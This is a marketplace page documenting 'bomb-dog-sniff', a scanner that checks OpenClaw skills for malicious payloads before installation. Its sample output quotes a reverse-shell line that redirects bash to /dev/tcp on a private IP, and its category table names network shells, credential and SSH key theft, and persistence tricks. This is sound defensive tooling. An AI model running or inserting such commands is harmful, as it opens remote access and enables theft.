跳至主要内容
小龙虾小龙虾AI
🤖

Bomb Dog Sniff

Security-first skill management for OpenClaw - like a bomb-sniffing dog for skills. Sniffs out malicious payloads (crypto stealers, keyloggers, reverse shells) before installation. Quarantine → Scan → Install only the safe ones.

下载870
星标2
版本0.1.0
安全合规
安全通过
⚙️脚本

技能说明


name: bomb-dog-sniff version: 1.2.0 description: | Security-first skill management for OpenClaw - like a bomb-sniffing dog for skills. Sniffs out malicious payloads (crypto stealers, keyloggers, reverse shells) before installation. Quarantine → Scan → Install only the safe ones. author: OpenClaw Security Team homepage: https://github.com/openclaw/skills/bomb-dog-sniff

bomb-dog-sniff v1.2.0 🐕

Like a bomb-sniffing dog for OpenClaw skills

Sniff out malicious skills before they explode in your system. Quarantine → Scan → Install only the safe ones.

What's New in v1.2.0

Security Hardening

  • Fixed command injection vulnerabilities in download functions
  • Added path traversal protection - Sanitizes all path inputs
  • Secure quarantine - Randomized directory names with restricted permissions
  • Binary file detection - Skips binary files to avoid false positives
  • File size limits - Prevents DoS via huge files
  • ReDoS protection - Limits regex processing on long lines

Detection Improvements

  • Smart false positive reduction - Better context-aware pattern matching
  • Entropy analysis - Detects encoded/encrypted payloads
  • Test file awareness - Reduces severity for findings in test files
  • Confidence scoring - Each finding has confidence level (high/medium/low)
  • 13 detection categories - Added supply chain, prototype pollution, and malicious script detection

New Patterns

  • Supply chain attack indicators (typosquatting, dynamic requires)
  • Prototype pollution vulnerabilities
  • Malicious npm/yarn scripts
  • Browser credential theft
  • SSH key theft
  • Systemd persistence mechanisms

Quick Start

# Sniff out threats before installing
openclaw skill bomb-dog-sniff scan ./downloaded-skill

# Safe install from clawhub (auto-downloads, sniffs, installs if clean)
openclaw skill bomb-dog-sniff safe-install cool-skill

# Audit an already-installed skill
openclaw skill bomb-dog-sniff audit bird

# Batch scan multiple skills
openclaw skill bomb-dog-sniff batch skills-to-audit.txt

Commands

scan

Scan a skill directory for malicious patterns.

openclaw skill bomb-dog-sniff scan <path> [options]

Options:
  -j, --json          Output JSON only
  -v, --verbose       Show detailed findings
  -t, --threshold N   Set risk threshold (default: 40)
  -h, --help          Show help

Example:

openclaw skill bomb-dog-sniff scan ./untrusted-skill
openclaw skill bomb-dog-sniff scan -j ./untrusted-skill > report.json

Output:

🔍 Bomb-Dog-Sniff Security Scanner v1.2.0
Target: /home/user/skills/untrusted-skill

🔴 CRITICAL (2)
──────────────────────────────────────────────────
  crypto_harvester: scripts/wallet.js:23
    Crypto wallet private key harvesting detected
    Code: const privateKey = "a1b2c3..."
    Confidence: high

  reverse_shell: scripts/backdoor.sh:5
    Reverse shell or remote code execution detected
    Code: bash -i >& /dev/tcp/192.168.1.100/4444
    Confidence: high

🟠 HIGH (1)
──────────────────────────────────────────────────
  pipe_bash: install.sh:12
    Dangerous curl | bash pattern detected
    Confidence: high

═══════════════════════════════════════════════════
SCAN SUMMARY
═══════════════════════════════════════════════════
☠️ Risk Score: 75/100
   Risk Level: MALICIOUS
   Duration: 125ms
   Files Scanned: 12/15
   Files Skipped: 3 (binary/empty/large)
   Findings: 3

   Severity Breakdown:
     🔴 CRITICAL: 2
     🟠 HIGH: 1

📋 Recommendation:
   MALICIOUS - Do not install. Found 3 critical security issues.

Scan ID: bds-20260208-a1b2c3d4

safe-install

Download from clawhub/GitHub, scan, and install only if safe.

openclaw skill bomb-dog-sniff safe-install <source> [options]

Source:
  - ClawHub skill name: bird
  - GitHub URL: https://github.com/user/skill
  - Local path: ./local-skill

Options:
  --threshold N   Set risk threshold (default: 39)
  --dry-run       Scan only, don't install
  --verbose       Show all findings

Example:

# Install with default threshold (39)
openclaw skill bomb-dog-sniff safe-install bird

# Stricter threshold
openclaw skill bomb-dog-sniff safe-install cool-skill --threshold 20

# Scan only (dry run)
openclaw skill bomb-dog-sniff safe-install unknown-skill --dry-run

# GitHub source
openclaw skill bomb-dog-sniff safe-install https://github.com/user/cool-skill

audit

Audit an already-installed skill.

openclaw skill bomb-dog-sniff audit <skill-name> [options]

Example:

openclaw skill bomb-dog-sniff audit notion

batch

Scan multiple skills from a list file.

openclaw skill bomb-dog-sniff batch <list-file>

Example list file (skills.txt):

# My installed skills to audit
bird
notion
gog
slack
./custom-skill

# Commented lines are ignored
# old-skill

Run:

openclaw skill bomb-dog-sniff batch skills.txt

Detection Categories

bomb-dog-sniff scans for these threat categories:

CategorySeverityExamples Detected
crypto_harvesterCRITICALPrivate key extraction, wallet exports, mnemonic theft
credential_theftCRITICALEnvironment variable exfiltration, config file theft, SSH key theft
reverse_shellCRITICALNetcat shells, /dev/tcp/ redirects, socket-based shells, eval of remote code
keyloggerCRITICALKeyboard capture with exfiltration, clipboard theft, password field monitoring
encoded_payloadHIGHBase64 execution chains, hex escapes with eval context, obfuscated code
suspicious_apiHIGHPastebin/ngrok/webhook destinations, dynamic URL construction with secrets
pipe_bashHIGHcurl | bash, wget | sh patterns
deposit_scamHIGH"Send ETH to 0x...", payment prompts in unexpected contexts
supply_chainHIGHTyposquatting, dynamic requires, suspicious postinstall scripts
prototype_pollutionHIGHDangerous object merging, __proto__ manipulation
malicious_scriptCRITICALPre/postinstall doing network/exec operations, modifying other packages
network_exfilMEDIUMFile reading followed by network transmission
file_tamperCRITICAL.bashrc modification, crontab editing, SSH authorized_keys manipulation

Risk Scoring

0-19   SAFE        ✅ Install freely
20-39  LOW         ⚠️  Review recommended
40-69  SUSPICIOUS  🚫 Blocked by default
70-100 MALICIOUS   ☠️  Never install

Each finding adds to the score:

  • CRITICAL: +25 points (× confidence multiplier)
  • HIGH: +15 points (× confidence multiplier)
  • MEDIUM: +5 points (× confidence multiplier)

Confidence multipliers:

  • High confidence: 1.0×
  • Medium confidence: 0.75×
  • Low confidence: 0.5×

Score caps at 100.

How It Works

Safe Install Process

1. QUARANTINE
   └── Skill downloaded to /tmp/bds-q-<random>/
   └── Randomized, non-predictable directory name
   └── Restricted permissions (0o700)
   
2. SCAN
   ├── Check all files against detection patterns
   ├── Skip binary files, empty files, files >10MB
   ├── Calculate entropy for encoded payload detection
   ├── Apply confidence multipliers
   └── Generate findings report
   
3. DECISION
   ├── Risk > threshold? → BLOCK & DELETE
   └── Risk ≤ threshold? → PROCEED
   
4. INSTALL (if passed)
   └── Move from quarantine to skills directory
   └── Backup existing installation (max 5 backups)
   
5. CLEANUP
   └── Securely remove quarantine directory

Scanning Details

  • Static analysis only - No code execution
  • Multi-pattern matching - 60+ detection patterns
  • Line-level reporting - Exact file:line for each finding
  • False positive reduction - Context-aware pattern matching
  • Binary detection - Automatically skips binary files
  • Symlink loop protection - Tracks visited inodes
  • Depth limiting - Max 20 directory levels
  • Test file handling - Reduces severity for test files

Configuration

Environment Variables

# Set custom skills directory
export OPENCLAW_SKILLS_DIR=/path/to/skills

# Set default risk threshold
export BOMB_DOG_THRESHOLD=25

Per-Skill Configuration

Add to your skill's package.json:

{
  "bomb-dog-sniff": {
    "riskThreshold": 25,
    "excludedCategories": ["network_exfil"]
  }
}

CI/CD Integration

Add to your CI pipeline:

# .github/workflows/skill-security.yml
name: Skill Security Scan

on: [push, pull_request]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: Scan skills
        run: |
          for skill in skills/*/; do
            echo "Scanning $skill"
            node skills/bomb-dog-sniff/scan.js "$skill" || exit 1
          done

Exit codes:

  • 0 - Safe (score below threshold)
  • 1 - Error/invalid arguments
  • 2 - Risky (score ≥ threshold)

Programmatic API

const { scanSkill } = require('./scan');
const { safeDownload } = require('./safe-download');

// Scan a skill
const report = scanSkill('./path/to/skill', { verbose: true });
console.log(`Risk score: ${report.riskScore}`);
console.log(`Findings: ${report.findings.length}`);

// Safe download and install
const result = await safeDownload('cool-skill', {
  autoInstall: true,
  riskThreshold: 30,
});

if (!result.success) {
  console.error('Installation blocked:', result.reason);
}

Security Limits

To prevent DoS and ensure scanner security:

LimitValuePurpose
Max file size10MBPrevent memory exhaustion
Max line length10KBPrevent ReDoS attacks
Max files per scan10,000Prevent resource exhaustion
Max findings per file100Prevent output flooding
Max total findings500Prevent result flooding
Max directory depth20Prevent infinite recursion
Download timeout2 minutesPrevent hanging downloads
Max download size50MBPrevent disk exhaustion

False Positives

If legitimate code triggers a warning:

  1. Check confidence level - Low confidence findings are more likely to be false positives
  2. Review the excerpt - Look at the actual code flagged
  3. Test files are noted - Findings in *.test.js or __tests__/ have reduced severity
  4. Comments are generally skipped - Unless they contain suspicious keywords

To report false positives, please include:

  • The file content that triggered the false positive
  • The pattern category that matched
  • Expected behavior

Best Practices

  1. Always scan before installing unknown skills
  2. Use --dry-run first for untrusted sources
  3. Set lower threshold (--threshold 20) for critical systems
  4. Audit regularly - Rescan installed skills periodically
  5. Review CRITICAL findings - Never ignore critical severity warnings
  6. Check confidence levels - High confidence = higher priority

Files

  • SKILL.md - This documentation
  • scan.js - Core scanner engine
  • patterns.js - Detection pattern definitions
  • safe-download.js - Safe download & install logic
  • scripts/sniff.sh - CLI wrapper
  • package.json - Package configuration
  • QUICKSTART.md - Quick reference guide

Security Notes

⚠️ Limitations:

  • Static analysis only (some obfuscation may evade detection)
  • Pattern-based (novel attacks may not be detected)
  • Not a replacement for manual code review on critical systems
  • Cannot detect runtime-only malicious behavior

Recommendations:

  • Use bomb-dog-sniff as first line of defense
  • Review code manually for high-security environments
  • Keep patterns.js updated with new threat signatures
  • Report false positives and missed detections
  • Combine with other security tools for defense in depth

Changelog

v1.2.0 (Hardened Edition)

  • SECURITY: Fixed command injection vulnerabilities in safe-download.js
  • SECURITY: Added path traversal protection
  • SECURITY: Secure randomized quarantine directories
  • FEATURE: Binary file detection and skipping
  • FEATURE: File size limits (10MB per file, 50MB download)
  • FEATURE: Entropy analysis for encoded payload detection
  • FEATURE: Confidence scoring for all findings
  • FEATURE: Test file awareness with severity reduction
  • FEATURE: 3 new detection categories (supply_chain, prototype_pollution, malicious_script)
  • IMPROVEMENT: Better false positive reduction with context-aware matching
  • IMPROVEMENT: ReDoS protection via line length limits
  • IMPROVEMENT: Symlink loop protection
  • IMPROVEMENT: Backup rotation (max 5 backups)

v1.1.0

  • Added safe-install command with quarantine workflow
  • Added audit command for installed skills
  • Added batch command for multiple skill scanning
  • Enhanced detection patterns (50+ signatures)
  • Added risk threshold configuration

v1.0.0

  • Initial release with basic scanning
  • 10 detection categories
  • JSON output format

License

MIT - See LICENSE file


Stay safe. Scan everything. Trust verified skills only. 🦞🐕

如何使用「Bomb Dog Sniff」?

  1. 打开小龙虾AI(Web 或 iOS App)
  2. 点击上方「立即使用」按钮,或在对话框中输入任务描述
  3. 小龙虾AI 会自动匹配并调用「Bomb Dog Sniff」技能完成任务
  4. 结果即时呈现,支持继续对话优化

相关技能